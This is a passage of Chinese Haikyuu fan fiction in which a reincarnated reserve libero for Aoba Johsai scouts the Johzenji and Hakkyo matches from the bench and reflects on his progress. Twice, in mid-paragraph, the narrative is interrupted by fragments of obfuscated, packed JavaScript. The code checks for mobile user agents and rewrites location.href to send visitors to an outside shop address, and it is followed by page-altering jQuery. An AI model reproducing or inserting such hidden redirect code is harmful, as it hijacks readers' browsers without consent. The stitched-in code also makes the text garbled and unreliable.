伊藤在资料里看到过他的照片,但真人看起来比照片更有活力,正在跟照岛比划着什么,两个人笑成一团。 站在后排角落里的那个——土湯新。 条善寺的自由人,二年级,身高一百六十八点五厘米,背号十一。 他和其他队员形成了鲜明的对比——当照岛和母畑在嘻嘻哈哈的时候, 他只是安静地站在自己的位置上,做着手腕的拉伸动作,表情沉静,没有任何多余的情绪。 伊藤的目光在土湯新身上多停留了一会儿。 自由人。同位置。身高也和自己差不多。 他注意到土湯新的热身动作非常扎实,每一个拉伸都做到了位,没有偷懒,也没有过度。 这是一支充满矛盾的队伍。 场上最活跃的那些人像是来参加祭典的,而自由人却安静得像一块石头。 他们的进攻靠天赋和灵感,防守靠自由人的个人能力。 球感极好,擅长打调整球,即使是不到位的球也能处理——这是他们长时间进行二对二训练积累出来的能力。 但也正因为如此,他们的基本功不够扎实,配合不够默契,防守体系中存在明显的漏洞,一传和二传经常不到位。 情绪化是这支队伍最大的特点——顺风时势如破竹,逆风时一溃千里。 伊藤在脑子里默默记下了这些。 即使今天不上场,他也要把这些观察记录下来,说不定以后会用得上。 哨声响了。双方队员入场。 及川和照岛在网前握手。 照岛笑着说了一句什么,及川也笑着回应了一句,两个人的笑容看起来都很轻松,但伊藤注意到及川的眼睛眯了一下——那是他认真起来的标志。 第一局,青城先发球。 及川站在底线后,手里转着球。 体育馆里的嘈杂声忽然安静了下来,所有人都屏住呼吸看着他的动作。 在宫城县的排球圈子里,及川彻的跳发球是有名的——球速快、旋转强、落点刁钻,县内能稳定接起他发球的自由人屈指可数。 他抛球,助跑,起跳。 身体在空中完全舒展,手臂像鞭子一样甩出,球带着剧烈的旋转飞向条善寺的后场。 条善寺的自由人土湯新判断出了落点,移动了过去,但他的手臂在球接触的瞬间被弹开了——球飞出了场外。 ACE。 及川发球直接得分。 青城的看台上爆发出巨大的欢呼声。 及川落地,嘴角微微上扬,朝土湯新的方向看了一眼。 “好球!”金田一在场边喊道。 条善寺的队员们却没有因为丢分而气馁。照岛站在前排,回头对土湯新喊了一声:“没关系!下一个接起来!” 土湯新点了点头,表情没有任何变化。 他回到自己的位置,蹲低身体,双手前伸。 及川的第二个发球。 这一次球速更快,落点更刁钻,瞄准了边线和底线的夹角。 土湯新再次判断出了落点,移动了过去。 这一次他的手臂没有弹开——他放松了前臂,在球接触的瞬间呼出了一口气,球弹了起来,飞向了二传手的方向。 虽然弧线不够完美,但方向是对的。 条善寺的二传手追上了球。 他没有像普通二传手那样规规矩矩地托球,而是在球还没稳定下来的时候就做了一个背传的动作,球从青城拦网球员的手臂旁边穿过,落在了前排的空档位置。 得分。 条善寺得分。 整个过程不到三秒钟,快得让人来不及反应。 伊藤坐在板凳上,手里的笔停了一下。 这不是普通的进攻。 条善寺的进攻节奏和他看过的所有队伍都不一样——他们的二传手不追求精确到位,攻手不追求完美起跳,所有人都在用一种“大概差不多就行”的方式打球,但球就是能得分。 “好快……”旁边的金田一发出了声音。 国见没有说话,但他的眉头微微皱了一下。 及川站在场上,看着条善寺的队员们击掌庆祝,嘴角的笑容没有消失,但眼神变了。 他走回自己的位置,低声对岩泉说了一句:“这支队伍,比去年强了。” 第二球、第三球、第四球。 及川连续发了五个球,青城拿到了四分,条善寺只拿到了一分。 但条善寺的进攻节奏越来越快,越来越乱——乱到青城的防守开始出现迟疑。 他们的二传手会在球还没到位的时候就出手,攻手会在还没有完全起跳的时候就扣球。 甚至有一次,照岛在球完全偏离轨道的情况下用单手将球拨过了网,落在了青城防守的真空地带。 “这是什么打法……”花卷在场上皱着眉头说了一句。 松川没有接话,但他的表情变得严肃了。 青城的拦网开始出现偏差——不是因为他们跳得不够高,而是因为他们根本判断不出条善寺会在什么时候、什么位置、用什么方式进攻。 第一局进行到中段,比分来到了十二比七,青城领先五分。 分差不算大,但青城在场上的节奏明显被条善寺拖乱了。 及川的托球开始变得犹豫——不是因为他不知道该传给谁,而是因为条善寺的进攻节奏太快,青城的防守阵型还没来得及调整好,对方的球就已经落地了。 “暂停。”岩泉举手示意。 青城的队员聚拢到场边。 教练没有说太多话,只是指着战术板上的几条线说:“他们的进攻快,但基本功差。发球不要发太刁钻的,发到他们自由人的手里,让他们的二传手没有选择的余地。” “及川,你的发球太刁钻了,他们在用自由人一个人的力量扛你的一传。换一下策略,发到他们前排攻手的手里,让他们接发球的人多起来,配合就会出现问题。” 及川点了点头。 暂停结束后,及川的发球策略果然变了。 他不再瞄准边线和底线,而是直接发到了条善寺前排主攻手的方向。 那个主攻手的接球动作明显不如土湯新扎实,第一个球直接接飞了,第二个球虽然接了起来,但球飞到了场地的另一端,二传手不得不跑了大半个球场去追球。 条善寺的进攻节奏终于慢了下来。 青城趁机拉开了分差。 岩泉的扣球连续得分,松川和花卷的拦网也开始发挥效果。 条善寺的情绪化问题在分差拉大后开始显现——照岛脸上的笑容变淡了,母畑的玩笑也少了很多,整个队伍的气氛从热闹的祭典变成了一场沉默的挣扎。 第一局,青城以二十五比十六拿下。 局间休息的时候,伊藤坐在板凳上,手里的笔记本已经写满了两页。 他记录下了条善寺每一个球员的特点——照岛的扣球习惯、母畑的拦网时机、土湯新的接球站位、二传手的出手习惯。 他甚至画了一张条善寺的防守站位图,标注出了他们防守体系中的漏洞。 及川走到场边喝水,余光扫到了伊藤手里的笔记本。 “伊藤君,你在写什么?” 伊藤下意识地把笔记本合上了,耳朵尖泛红。 “没什么。”他说。 及川笑了一下,没有追问。但他走过来的时候,故意绕到伊藤身后看了一眼。 虽然没看清具体内容,但他看到了纸上密密麻麻的字和画的球场。 “做笔记?”及川说。 “……嗯。” “好习惯。”及川说,“以后也帮及川前辈记一份。” 伊藤愣了一下,然后点了点头。 第二局开始。 条善寺换了发球策略。 照岛亲自站在底线后发球,他奶油色的头发在灯光下显得格外扎眼,耳钉反射着光线。 他的发球不算快,但旋转很强,球在空中飘忽不定,落点很难判断。 渡接起了第一个发球,送球到位。 及川托给岩泉,岩泉扣球得分。 照岛没有气馁。他连续发了五个球,每一个都打乱了青城的一传节奏。 渡的接球开始出现偏差——不是因为他的技术出了问题,而是因为照岛的发球变化太多,他需要时间去适应。 比分被追到了十七比十三,青城领先四分。 这时候,照岛做了一件让所有人都没想到的事情。 他看到青城的同步进攻配合得不错,忽然决定模仿一下。 他站在网前,观察了一下青城攻手的跑位路线,然后在自己进攻的时候,让队友也做了一个类似的同步跑动。 结果球得分了。 不是因为他练过这个战术,而是因为他临时起意,队友也跟着他的节奏跑了。 球落在青城防守的空档位置,全场安静了一瞬。 照岛落地后,回头朝队友竖起了大拇指,露出了一个大大的笑容。 条善寺的气氛瞬间被点燃了,母畑跳起来和他击掌,二传手也笑了,连一向安静的土湯新都在后排微微握了一下拳头。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454778|201213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那个家伙,”金田一在场边看得目瞪口呆,“他在比赛里模仿别人的打法?” 伊藤没有说话,但他的笔在本子上飞快地记录着。 照岛游儿——条善寺的王牌,拥有极强的即兴发挥能力和学习能力。 他不按照常理打球,不遵守任何规则,他只做一件事:把排球变成一场游戏,然后在这个游戏里玩得比任何人都开心。 这种风格是一把双刃剑。 顺风的时候,他能带动全队打出超水平的发挥;逆风的时候,他的情绪化会影响整个队伍的稳定性。 但现在条善寺正在追分,他的存在就像一颗火种,把整支队伍重新点燃了。 及川站在网对面,看着照岛,表情没有变化。但伊藤注意到及川的手攥紧了。 “很有意思。”及川低声说了一句。 然后他做了一件事——他不再把球托给岩泉或松川,而是开始频繁地使用后排进攻。 后排进攻对于二传手的要求极高,需要精确地判断攻手的起跳时机和位置,稍有偏差就会失误。 但及川是宫城县最强的二传手。 他的后排进攻连续得分,直接把条善寺刚刚燃起的气势压了下去。 照岛的笑容又变淡了,母畑的玩笑也停了,土湯新在后排接起了一个又一个扣球,但他的队友们在前排的失误越来越多。 青城的配合越来越默契。 及川和岩泉的连线几乎无解,松川和花卷的拦网封死了条善寺大部分的进攻线路,渡在后排的防守让条善寺的吊球和打手出界全部失效。 比分来到了二十二比十五。 条善寺叫了最后一次暂停。 队员们聚拢在一起,三咲华——三年级的经理——走到他们面前,说了几句话。 伊藤听不到她说了什么,但他看到照岛的表情变了——不再是嬉皮笑脸,而是一种认真的、专注的表情。 暂停结束后的条善寺像换了一支队伍。 他们的进攻不再那么急躁,防守不再那么松散。 照岛的扣球开始有了更多的变化,母畑的拦网也变得更加冷静,土湯新在后排连续接起了青城的三个重扣,送球到位率明显提升。 他们追回了三分,将比分改写成了二十二比十八。 但青城没有给他们更多的机会。 及川发球,直接ACE。 岩泉扣球,被土湯新接了起来,但照岛的进攻被松川拦死。 金田一在网前的一记快攻得分,将比分定格在了二十五比十八。 二比零。青城获胜。 比赛结束的哨声响起时,条善寺的队员们站成了一排,向青城鞠躬致意。 照岛抬起头的时候,脸上的表情不再是比赛中的那种狂热,而是一种平静的、甚至有些失落的神情。 伊藤从板凳上站起来,和队友们一起走向场中央,与条善寺的队员们互相致意。 照岛走到及川面前,伸出手。 “及川前辈,下次我们不会输了。”照岛说,语气里带着不服气,但也带着尊敬。 及川握住他的手,笑了一下:“下次我们也不会放水。” 照岛笑了一声,转身走回了自己的队伍里。 伊藤走到土湯新面前,两个人互相鞠了一躬。 土湯新看了伊藤一眼,目光在他身上的自由人队服上停了一下,然后点了点头。什么也没说。 伊藤也点了点头,什么也没说。 两个沉默的自由人之间,不需要太多语言。 收拾东西的时候,金田一还在兴奋地讨论刚才的比赛。 “那个照岛真的好厉害,他居然在比赛里模仿我们的打法!” “但他还是输了。”国见淡淡地说。 “那是因为及川前辈太强了!”金田一说。 伊藤没有说话,把笔记本收进背包里。 笔记本上密密麻麻的笔记是他今天的收获——不是上场打球的经验,而是从板凳上看比赛的视角。 站在场上和坐在板凳上看到的东西完全不同。 在场上的时候,你能感受到每一个球的冲击力,能听到球鞋摩擦地板的声音,能闻到汗水和橡胶混合的气味。 但在板凳上,你能看到更多的东西——双方的战术变化、教练的临场调度、每一个球员在不同情况下的情绪波动。 这些东西,都是他未来需要用到的东西。 更衣室里,及川坐在长凳上,双手撑在膝盖上,低着头。 他的表情和平时完全不同——没有笑容,没有轻浮,只有一种深深的疲惫感。 伊藤走进去的时候,及川抬起头看了他一眼。 “伊藤君,今天的比赛,你怎么看?”及川问。 伊藤想了想,说:“条善寺的进攻节奏很快,但防守有漏洞。如果他们能补上防守的短板,会是一支很难对付的队伍。” 及川看着伊藤,沉默了两秒钟,然后笑了。 “你说得对。”及川说,“但他们补不上。因为他们的风格就是这样——进攻靠天赋,防守靠个人。这种队伍,永远不会成为真正的强队。” 伊藤没有说话。 他想起前世的记忆中,条善寺后来确实没有成为全国级别的强队。 他们是一支有趣的队伍,一支让人印象深刻的队伍,但不是一个能够走到最后的队伍。 但这并不意味着他们不强。 在今天的比赛中,伊藤看到了一种他从未见过的排球——自由奔放、充满创造力、把“开心”放在第一位。这种风格也许打不过青城,也许打不过白鸟泽,但它是一种独特的存在。 就像他自己。 他不是最强的自由人,不是最有天赋的球员,不是最耀眼的明星。 但他也有自己的风格——安静的、持久的、不放弃的。 伊藤走出体育馆的时候,天已经快黑了。 宫城县五月的傍晚,风很轻,天空是淡淡的橘色。 操场上还有几支队伍在收拾东西,大巴一辆接一辆地驶出停车场。 他站在体育馆门口,深深地呼出一口气。 第一场比赛结束了。 青城赢了。他没有上场。 但他离上场的那一天,又近了一点。 他低头看了一眼系统面板。 技术那一栏的数字在微微跳动——不是增加了,而是在波动。 他今天的观察和记录,让他对自由人这个位置有了更深的理解。 这种理解不会立刻体现在数据上,但它会在未来的某个时刻变成真正的实力。 伊藤关掉面板,迈开步子,往家的方向走去。 明天还有比赛。 第二轮,对阵白桥。 他还要继续坐在板凳上看。 但他会看得很认真。 因为他知道,总有一天,站在场上的人会是他。 11. 第十一章 11. IH预选赛第一轮结束后的那天晚上,伊藤有弥坐在书桌前,对着笔记本复盘白天的比赛。 他把条善寺每一个球员的特点、每一次战术变化、每一个关键分的得失都整理成了文字和图示,一共写了四页纸。 这是他前世养成的习惯——比赛结束后的当天晚上,趁记忆还新鲜的时候把所有的观察记录下来。 这些笔记不会立刻让他变强,但会在未来的某个时刻变成他判断对手的依据。 写完之后,他打开了系统面板。 技术那一栏的数字从4.8变成了4.9。 不是因为他上场打了比赛,而是因为他对自由人这个位置的理解又深了一层。 系统的判定标准不只看身体能力,也包括意识和判断力。 他关掉面板,拿起G笔尖,开始画《第二防线》的第四话。 第四话的内容是主角夏川优所在的队伍迎战一支以防守著称的强队。 他在构思这一话的时候,参考了前世记忆中一些著名防守强队的打法——一传到位率高、失误极少、不靠华丽的进攻而是靠耐心的拉锯战消耗对手。 他画到凌晨一点,把分镜稿全部画完,然后躺到床上。 第二天早上,青城排球部在体育馆集合,准备第二轮比赛。对手是白桥高校。 “白桥高校。”岩泉站在队伍前面,手里拿着一份资料,“昨天他们二比零赢了角西。两局比分二十五比二十、二十五比二十二,赢得不算轻松,但他们的数据很好看——一传到位率百分之八十七,防守起球率百分之七十九。” 体育馆里安静了一瞬。 百分之八十七的一传到位率,这个数字在高中联赛中相当惊人。 这意味着白桥的接发球体系非常稳固,自由人和攻手的配合几乎没有破绽。 “白桥的风格就是稳定。”岩泉继续说,“他们的进攻不算强,但他们的防守会让你很难受。他们的打法就是等——等你失误,等你不耐烦,等你自己把自己打败。” 及川接过话头,语气比平时严肃:“所以今天不要急。他们想拖,我们就陪他们拖。但我们的进攻比他们强,拖到最后赢的一定是我们。” 伊藤站在替补阵容的队列里,听着岩泉和及川的分析,在心里默默记下了几个关键词。 一传到位率高、失误少、拖字诀。 这样的对手对于任何一支队伍来说都很棘手——不是因为他们有多强,而是因为他们不给机会。 他的目光扫过正选阵容。站在及川旁边的是岩泉、松川、花卷、渡、国见英以及金田一。 京谷不在。 或者说他一直都不在,和条善寺打的时候就没出场,而且正选阵容里也没有他。 伊藤在更衣室里换衣服的时候听二年级的队员说,京谷在IH预选赛期间没有被列入正选名单,原因与训练态度有关。 伊藤看了京谷的储物柜一眼。 柜门关着,上面贴着的姓名条没有撕掉,但人没有来。 体育馆外的天空有些阴沉。 五月的宫城县,梅雨季节快到了,空气里弥漫着一种潮湿的气息,让人感觉闷闷的。 青城排球部的大巴在上午九点抵达了比赛场馆。 这是一个县立体育馆,比昨天那个场馆大一些,看台能容纳将近两千人。 今天来看比赛的观众比昨天多了不少,因为第二轮开始出现了一些强强对话的可能。 白桥高校的队员已经在场上了。 伊藤从替补席上看过去,快速扫了一遍对手的阵容。 白桥的球员身材不算高大,最高的副攻手大概也就一米八五左右,但他们的身体形态都很结实,一看就是经过了长期体能训练的。 他们的自由人个子不高,大概一米七出头,但站姿非常稳——双脚分开与肩同宽,重心压得很低,双手前伸,整个人像一棵扎根在地里的树。 白桥的自由人叫田代凉介,三年级,背号一号。 伊藤在之前的资料里看到过他的名字,但亲眼看到他的时候,才真正理解“稳定”这个词的含义。 田代在场上的移动幅度不大,但每一步都很精确,几乎不会有多余的动作。 他的防守范围不算大,但在他覆盖的区域内,几乎没有球能落地。 “那个自由人很强。”渡不知道什么时候走到了伊藤旁边,低声说了一句。 伊藤点了点头。 “一传到位率百分之八十七,”渡说,“大部分都是他的功劳。” 伊藤继续观察田代的站位和移动习惯。 他发现田代在接发球的时候有一个特点——他的脚步不是提前移动到球的落点,而是在球发出后的一瞬间才开始移动,但他的启动速度极快,总能在球到达之前赶到。 这意味着他的预判能力非常出色,不是靠猜测,而是靠对手触球瞬间的细微信息做出判断。 这种能力,伊藤觉得自己还差得很远。 哨声响了。比赛开始。 白桥先发球。他们的发球不算快,但落点非常稳,瞄准了青城后排的中间位置。渡接了起来,球稳稳地送到了及川的手中。 及川托给岩泉,岩泉扣球——白桥的自由人田代已经等在了球的落点方向,前臂一送,球弹起来飞向了二传手的位置。 白桥的二传手将球托给了他们的王牌主攻手,一个看起来并不起眼的三年级球员。 扣球的力量不大,但角度很刁钻,瞄准了青城前排和后排之间的缝隙。 花卷鱼跃扑出,将球救了起来,但球没有送到位。 及川追了两步,勉强将球托过网,白桥的副攻手直接将球扣死。 白桥得分,获得发球权,同时队员按顺时针方向轮转一个位置。 田代从后排中央轮转到了后排右侧的位置,他的队友站上了发球区。 白桥的第二轮发球依然稳定,渡接起后青城组织了进攻,但岩泉的扣球被田代稳稳接起。 双方进入了拉锯战,每一分都要经过多个回合才能决出胜负。 白桥的进攻没有太大的威胁,岩泉和花卷都能轻松接起他们的扣球。但白桥的防守让青城的进攻效率大打折扣。 田代在后排的防守范围虽然不大,但他在自己覆盖的区域内几乎没有漏球。 更麻烦的是,白桥的其他球员也在不遗余力地防守——他们的每一个球员都有不错的一传能力,即使自由人没能赶到,其他人也能勉强把球接起来。 第一局进行到中段,比分来到了十二比十,青城领先两分。 这不符合青城一贯的比赛节奏。 青城是一支靠发球和进攻带动的队伍,及川的跳发球通常能在开局阶段拉开分差,但今天白桥的一传体系让及川的发球威力大打折扣。 不是及川的发球不够强,而是白桥的接发球太稳了——即使球速很快、旋转很强,他们也能用最基础的动作把球接起来,不求到位,只求不让球落地。 及川站在底线后,连续发了三个跳发球。 白桥的三个接发球全部成功,虽然只有一个是完全到位的,但另外两个也都让二传手能够组织进攻。 青城在这三个回合中只拿到了一分,因为白桥的防守起球率太高了,岩泉和国见的扣球多次被田代接起。 “暂停。”岩泉举手示意。 青城的队员聚拢到场边。 教练拿着战术板,在上面画了几条线。 “他们的自由人防守范围不大,但他的预判很准。”教练说,“不要往他的方向扣。国见,你的吊球多用几次。岩泉,你的扣球不要追求力量,找角度。” 及川喝了一口水,说:“他们的接发球太稳了,我的发球打不穿他们。” “那就不要打太刁钻的。”教练说,“发到他们的前排攻手手里,让他们的一传体系出现更多的不确定性。” 暂停结束后,及川调整了发球策略。 他不再追求ACE,而是把球发到白桥前排球员的接发区域。 这个策略开始见效——白桥的前排攻手接发球能力不如自由人,连续两个球都出现了偏差,青城抓住机会连得两分。 但白桥的教练也很快做出了调整。 他让田代扩大了防守范围,不再局限于后排中央,而是更多地移动到前排球员的身后补位。 田代的移动速度和预判能力让他能够在不牺牲自己防守区域的前提下帮助队友。 比分艰难地上升着。 十四比十一,十六比十三,十八比十六。 青城始终保持着两到三分的领先,但始终无法拉开分差。 每一次青城得分,白桥都能在下一个回合中用稳定的防守和耐心的进攻追回一分。 第一局的最后阶段,及川连续两次跳发球直接得分,终于将分差扩大到了五分。 青城以二十五比二十拿下了第一局。 局间休息的时候,伊藤坐在板凳上,笔记本上又多了好几页的记录。 他重点记录了白桥自由人田代的防守习惯——他的站位、他的移动轨迹、他在不同情况下的决策方式。 田代不是那种天赋异禀的自由人,但他的基本功非常扎实,扎实到每一个动作都可以作为教科书。 “那个自由人,”渡走到伊藤旁边坐下,低声说,“他接球的时候从来不看球。” 伊藤愣了一下。 他回想了一下田代接球的画面——渡说得对,田代在球接触手臂的瞬间,眼睛不是盯着球看,而是看着前方。 这意味着他对球的轨迹已经有了百分之百的预判,不需要用眼睛去确认。 这是一种极致的自信。 第二局开始,白桥换了发球策略。 他们的发球不再追求稳定,而是开始加大力量,试图破坏青城的一传。 渡的一传开始出现波动——不是因为他接不到,而是因为白桥的发球力量超出了他的预期。 白桥的第一个发球直接得分,他们获得发球权并轮转位置后继续发球。 连续三个发球,青城的一传都没有到位。 及川不得不在不利的位置托球,岩泉和国见的扣球质量下降,白桥趁机将比分反超。 五比二,白桥领先。 岩泉在场上面无表情地喊了一声:“稳住。” 渡深吸了一口气,调整了自己的站位。 他把重心压得更低,双手前伸得更远,在接发球的瞬间更加注重手臂的角度和身体的缓冲。 白桥的第四个发球,他终于稳稳地接了起来,送到了及川的手中。 及川托给国见,国见用一记精准的吊球得分——青城得分的同时,获得了发球权。 但白桥的节奏已经起来了。 他们的防守依然稳固,进攻依然耐心,而青城这边的失误开始增多。 松川的一次发球出界——发球失误意味着白桥直接得分并获得发球权;花卷的一次扣球下网,及川的一次托球被判持球——这些都是平时很少出现的失误,但在白桥的高压防守下,青城的球员们开始变得急躁。 比分来到了十四比九,白桥领先五分。 教练叫了暂停。 这一次他没有讲战术,而是看着每一个人的眼睛。 “不要急。”教练说,“他们不会一直不失误的。你们要做的就是不让自己失误。” 暂停结束后,青城的状态有所回升。 及川连续两次跳发球直接得分,青城获得发球权并继续由及川发球,将分差缩小到了三分。 但白桥的田代在后排连续接起了岩泉的两个重扣,每一次都稳稳地送到了二传手的手中。 白桥的进攻虽然不强,但他们通过消耗战一点点地消耗着青城的体力和耐心。 第二局的比分最终定格在二十五比二十二,白桥获胜。 大比分变成了一比一。 局间休息的时候,伊藤注意到及川的表情比平时更加凝重。 他的呼吸有些急促,不是因为体力问题,而是因为精神上的消耗。 白桥的防守让他不得不每一次托球都做到极致,稍有偏差就会被对手抓住机会。 “伊藤君,”及川走到场边喝水的时候,忽然对伊藤说了一句,“你觉得白桥的弱点在哪里?” 伊藤想了想,说:“他们的自由人很强,但其他球员的一传能力不如他。如果把球发到非自由人的区域,他们的一传体系就会出现缝隙。” 及川看着他,点了点头。 “还有就是,”伊藤顿了一下,“他们的进攻不强。如果我们能把防守做好,逼他们连续进攻,他们迟早会失误。” 及川笑了一下,那笑容很轻,但很真实。 “你说得对。”及川说,“谢谢你,伊藤君。” 第三局开始。 青城调整了发球策略。 及川不再瞄准田代的方向,而是把球发到了白桥的前排主攻手和后排边角之间的区域。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454779|201213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这是一个让自由人难以补位的区域——田代的防守范围虽然精确,但他不会轻易离开自己负责的区域。 白桥的主攻手接起了及川的发球,但球直接飞向了观众席。 青城得分并获得发球权,及川继续发球。 第二个发球,同样的区域,白桥的接发球再次出现偏差,二传手追了两步才接到球,托球质量下降,扣球被松川直接拦死。青城连得两分。 白桥的教练叫了暂停。 但他们的调整手段有限——他们的球员一传能力就那样,不是靠战术调整就能解决的。 青城连得四分,将比分改写成了七比三。 白桥开始尝试用进攻追分。 他们的王牌主攻手连续扣球,但岩泉和花卷的防守让他的扣球始终无法直接得分。 渡在后排的表现也越来越稳,连续接起了三个看起来很难接的球。 比分来到了十二比七,青城领先五分。 白桥的队员们开始出现急躁的情绪。 他们的动作不再像前两局那样从容,失误开始增多——一次发球出界,一次扣球下网,一次二传连击。 青城趁机将分差扩大到了八分。 但白桥没有放弃。 田代在后排连续喊了几声,把队友们的注意力拉了回来。 他们的防守重新变得稳固,进攻也恢复了耐心。 比分在十四比八之后进入了一段僵持期,双方你来我往,每一分都要经过多个回合才能决出胜负。 伊藤坐在板凳上,手不自觉地攥紧了膝盖上的毛巾。 他想上场。 他看到了白桥防守体系中的那些缝隙,看到了田代防守范围之外的区域,看到了白桥球员在连续防守后体力下降的迹象。 他知道如果自己站在场上,他可以从那些缝隙中找到机会。 但他不能。 渡在场上做得很好,青城正在赢球,教练没有理由换人。 他深吸了一口气,把注意力重新集中到比赛上。 比分来到了二十比十四。 最终,青城以二十五比十七拿下了第三局。 大比分二比一,青叶城西高校晋级第三轮。 比赛结束的哨声响起时,金田一跳起来挥了一下拳头,他的表情比赢了条善寺那场还要激动。 伊藤从板凳上站起来,和队友们一起走向场中央,与白桥的队员们互相致意。 他特意走到了白桥的自由人田代凉介面前,鞠了一躬。 田代看了他一眼,目光在他身上的自由人队服上停了一下,然后说了一句话。 “你一直在看我的防守吧。” 伊藤愣了一下。 “你的眼神一直在跟着我移动。”田代说,表情平静,语气里没有任何情绪,“你是自由人替补?” “……是。” 田代点了点头,说:“你的眼睛很好。继续努力。” 然后他转身走了。 伊藤站在原地,看着田代的背影消失在白桥的队伍中。 田代凉介。 一个不为人知的、以稳定著称的自由人。 他没有惊人的反应速度,没有夸张的防守范围,但他的基本功扎实到了极致。 他用自己的方式证明了自由人不一定要飞身扑救,不一定要鱼跃翻滚——只要站在正确的位置,用最基础的动作,就能完成防守。 伊藤觉得,自己从田代身上学到的东西,比从任何一场高水平的比赛中学到的都要多。 收拾东西的时候,金田一还在兴奋地说个不停。 “伊藤你看到了吗?我拦网碰到球了!虽然没有直接拦死,但是球的轨迹变了,渡前辈就接起来了!” “看到了。”伊藤说,“你跳得很高。” “因为对方的身高不如我!”金田一说,“如果是对上白鸟泽,可能就没这么容易了。” 国见从旁边走过,面无表情地说了一句:“今天的扣球失误了三个。” 金田一的表情垮了下来:“你能不能不要在这个时候打击我……” “不是打击你。”国见说,“是告诉你事实。” 伊藤看着两个人的互动,嘴角微微弯了一下。 然后他转过身,开始收拾自己的东西。 及川坐在更衣室的长凳上,双手撑在膝盖上,低着头。 他的表情比平时更加疲惫,但眼神里有一种满足感——不是赢球的满足感,而是“撑过来了”的满足感。 岩泉走到他旁边,递给他一瓶水。 “今天打得不容易。”岩泉说。 “嗯。”及川接过水,喝了一大口,“白桥的那个自由人,真的很强。如果不是他们的进攻太弱,今天可能就输了。” “但没输。” “对,没输。”及川抬起头,笑了一下,“因为我们的自由人也很强。” 岩泉看了渡的方向一眼。 渡正在角落里整理护膝,听到及川的话,手上的动作停了一下,但没有抬头。 伊藤坐在更衣室的角落里,手里拿着笔记本,在今天的记录最后加了一行字:“白桥自由人田代凉介——用最基础的动作完成最稳定的防守。不需要华丽,只需要正确。” 他合上笔记本,把它放进背包里。 走出体育馆的时候,天已经快黑了。 宫城县五月的傍晚,风很轻,天空是淡淡的橘色,云层很低。 伊藤站在体育馆门口,深深地呼出一口气。 第二轮结束了。青城赢了。他依然没有上场。 但他不觉得失落。 因为今天的比赛让他看到了另一种可能性——不是每一个优秀的自由人都要有夸张的防守范围和惊人的反应速度。 有些人,靠着最扎实的基本功和最稳定的心态,也能成为球队的基石。 田代凉介是那样的人。 伊藤觉得自己也可以是那样的人。 他看了一眼系统面板。 技术:5.0(+0.1) 技术到达了满值5,意味着他对于排球的理论技术已经足够了,缺少的只是经验,只是上场的机会。 这是他穿越以来的第一个里程碑。 他关掉面板,迈开步子,往家的方向走去。 明天没有比赛。 后天,第三轮,对手将是乌野。 他还要继续坐在板凳上看。 但他离上场的那一天,又近了一点。 12.第十二章 12. 五月二十一日,IH预选赛第三轮的前一天。 青叶城西高校排球部没有训练。 这是教练的安排。 连续两天的高强度比赛之后,队员们的身体需要恢复,肌肉需要从反复的起跳和冲刺中缓过来,精神也需要从紧张的比赛节奏中抽离。 与其在体育馆里做一些低质量的练习,不如让所有人彻底休息一天。 伊藤有弥在早上七点醒来的时候,花了整整十秒钟才意识到今天不用去晨练。 他躺在床上,盯着天花板,身体还保持着那种“比赛模式”的惯性——肌肉微微紧绷,心跳比平时快一点,脑子里已经在过接球的动作了。 他翻了个身,把脸埋进枕头里。 不用去体育馆的感觉很奇怪。 穿越过来一个多月,他的生活已经被排球填满了。 晨练、上课、部活、加练,每一天都是同样的节奏,重复到让他几乎忘记了“休息”这个词的含义。 今天没有训练,没有比赛,没有必须要做的事情。 他可以睡到自然醒,可以穿着睡衣在房间里发呆,可以做任何他想做的事情。 但他不知道自己该做什么。 伊藤在床上躺了十分钟,最终还是爬了起来。 他洗漱、换衣服,走进厨房给自己做了一碗味增汤和一个煎蛋。 吃饭的时候他打开了手机,看到了排球部的群组消息。 及川发了一张自拍,背景是他的房间,表情困倦,配文是“没有训练的日子好无聊”。 岩泉回复了一个字:“睡。”松川发了一个省略号。花卷发了一个“我也好无聊”的表情包。渡没有说话。金田一发了一长串感叹号,说他不知道今天该干什么,国见回复了一句“那就睡觉”。 伊藤看着屏幕,嘴角弯了一下。 他把手机放到一边,继续吃早饭。 吃完饭洗完碗,他坐到书桌前。 桌上摊着原稿纸和G笔尖,《第二防线》的第五话分镜还差几页没有画完。 他拿起笔,在纸上画了几笔,然后停下来了。 不想画。 不是画不出来,而是脑子里在想别的事情。 明天。IH预选赛第三轮,青叶城西对阵乌野。 他知道这场比赛的结果。 在他前世的记忆中,乌野在IH预选赛的半决赛中输给了青城,青城进入了决赛,然后在决赛中输给了白鸟泽。 这是他穿越前就知道的剧情,是原著中明确画出来的内容。 但他现在身处这个世界,不再是旁观者,而是参与者。 他知道剧情,但剧情会不会因为他的存在而改变?他只是一个替补自由人,连一分钟的上场时间都没有,他的存在应该不会对比赛结果产生任何影响。 但万一呢?万一蝴蝶效应存在,万一他的某一次训练中的某一次接球、某一次和队友的某一次对话,在某个意想不到的地方改变了什么? 伊藤放下笔,靠在椅背上,看着窗外的天空。 今天的天气很好,阳光明媚,云层很薄,宫城县五月的天空蓝得透亮。 他想起自己第一次在体育馆里看到及川和岩泉的那一天,想起第一次接起及川跳发球时手臂上传来的冲击力,想起渡对他说“你进步了”时嘴角那个微不可见的弧度。 他期待明天的比赛。 不是因为想上场——他知道自己大概率还是不会上场。 